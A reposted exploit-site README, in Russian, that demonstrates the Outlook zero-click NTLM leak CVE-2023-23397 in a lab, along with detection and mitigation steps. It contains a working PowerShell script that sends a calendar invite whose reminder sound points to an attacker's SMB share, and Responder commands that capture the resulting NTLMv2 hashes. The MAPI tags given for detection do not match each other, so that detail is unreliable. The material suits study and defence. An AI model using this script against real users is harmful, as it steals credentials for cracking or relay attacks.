Sploitus

Exploit for CVE-2023-23397

kitploit · 2026-08-25

Exploit Code

MARKDOWN192 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-GILOSPY-CVE-2023-23397
# CVE-2023-23397 Демонстрация эксплуатации и смягчения

## 📌 Обзор

Этот проект демонстрирует обнаружение, эксплуатацию и смягчение **CVE-2023-23397** — критической уязвимости нулевого клика для ретрансляции NTLM в Microsoft Outlook для Windows. Эксплуатируемая через приглашения в календаре, эта уязвимость позволяет злоумышленникам перехватывать хэши NTLMv2 **без какого-либо взаимодействия с пользователем**.

> 🛡️ **Оценка CVSS:** 9.8 (Критическая)  
>  🖥️ **Затронутые версии:** Outlook 2013, 2016, 2019, Microsoft 365 (до патча от 14 марта 2023 года)

* * *

## ⚠️ Детали уязвимости

Напоминания календаря Outlook можно настроить на воспроизведение пользовательских звуков через свойство MAPI `PidLidReminderFileParameter`. Outlook не проверяет UNC-пути, что позволяет отправлять удаленные SMB-запросы при срабатывании напоминаний.

root@kitploit:~
    
    
    \\attacker-ip\share\sound.wav
    

Это приводит к отправке хэшей NTLMv2 на серверы, контролируемые злоумышленником, которые затем могут:

  * быть взломаны офлайн (восстановление пароля)
  * использоваться в атаках ретрансляции NTLM для повышения привилегий



* * *

## 🔍 Метод обнаружения

Используйте **MFCMAPI** для проверки элементов календаря и поиска вредоносных значений в `PidLidReminderFileParameter` (тег MAPI `0x851F001F`).

### Шаги:

  1. Откройте MFCMAPI → `Быстрый запуск > Открыть папку > Календарь`
  2. Перейдите в `Таблица > Установить столбцы`
  3. Добавьте тег свойства `0x808A001F` для просмотра путей к файлам напоминаний
  4. Ищите UNC-пути как признак компрометации



* * *

## 🛠️ Методы смягчения

### 1\. Установите патч Microsoft (рекомендуется)

Установите патч от 14 марта 2023 года (например, KB5002044). Патч вводит:

  * `IsFileZoneLocalIntranetOrTrusted()` для проверки путей к файлам напоминаний
  * Параметры групповой политики для определения доверенных доменов



**Результат теста:**  
Outlook будет регистрировать **событие с ID 1008** и блокировать доступ к недоверенным SMB-путям.

* * *

### 2\. Смягчение на уровне сети IPsec (временное)

#### a. Блокировать весь SMB

  * Блокирует исходящий TCP 445 (SMB)
  * Предотвращает утечку NTLM в недоверенные сети



#### b. Разрешить только доверенные IP

  * Определите внутренние IP (например, `192.168.1.0/24`)
  * Обеспечьте непрерывность бизнеса для внутреннего использования SMB



📂 Готовая политика: OutlookMitigation.ipsec

* * *

## 💻 Настройка проекта

### Окружение

Система| Имя пользователя| Пароль  
---|---|---  
Kali Linux| kali| kali  
Windows 10 VM| CVE-2023-23397| vbox@123  
Email Account| some-email@example.com  
  
* * *

### Атакующий (Kali Linux)

root@kitploit:~
    
    
    sudo apt install responder
    sudo responder -I eth0 -v
    

Убедитесь, что Kali и виртуальная машина жертвы находятся в одной сети.

* * *

### Жертва (Windows + Outlook 2013)

  1. Установите:

     * Outlook 2013
     * .NET 2.0
     * hMailServer
     * MFCMAPI
  2. Настройте:

     * Домен hMailServer: `exploit.com`
     * Пользователь email: `some-email@example.com`



* * *

### 🚨 Эксплуатация (PowerShell скрипт)

root@kitploit:~
    
    
    # Initialize Outlook COM object
    $Outlook = New-Object -ComObject Outlook.Application
    $Namespace = $Outlook.GetNamespace("MAPI")
     
    $ip = "192.168.1.7" # Attacker IP here
    $emails = @("some-email@example.com")  # List of emails
    
    # Create a new appointment item
    $Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
    
    # Set appointment properties
    $Appointment.Subject = "CVE Presentation Demo Demo"
    $Appointment.Body = "This is a test meeting, please ignore it."
    $Appointment.Location = "Dubai"
    $Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
    $Appointment.Duration = 30 # Duration in minutes
    
    # Configure reminder settings
    $Appointment.ReminderSet = $true
    $Appointment.ReminderMinutesBeforeStart = 0
    $Appointment.ReminderOverrideDefault = $true
    $Appointment.ReminderPlaySound = $true
    $Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
    
    foreach ($email in $emails) {
        $Appointment.Recipients.Add($email) | Out-Null
    }
    
    # Save and send the appointment
    $Appointment.Save()
    $Appointment.Send()
    
    

Responder перехватит хэш NTLMv2 с системы жертвы.

* * *

## ✅ Проверка

### Обнаружение

  * Используйте MFCMAPI, чтобы подтвердить, что `PidLidReminderFileParameter` содержит UNC-путь.



### Смягчение

  * Примените патч или политику IPsec.
  * Запустите скрипт снова: Outlook может показать напоминание, но **хэш NTLM не должен быть перехвачен**.



* * *

## ❗ Ограничения

  * Блокировка всего SMB-трафика может повлиять на легитимные службы (общий доступ к файлам, аутентификация в домене)
  * Поддержание списка доверенных IP может стать операционно сложным



* * *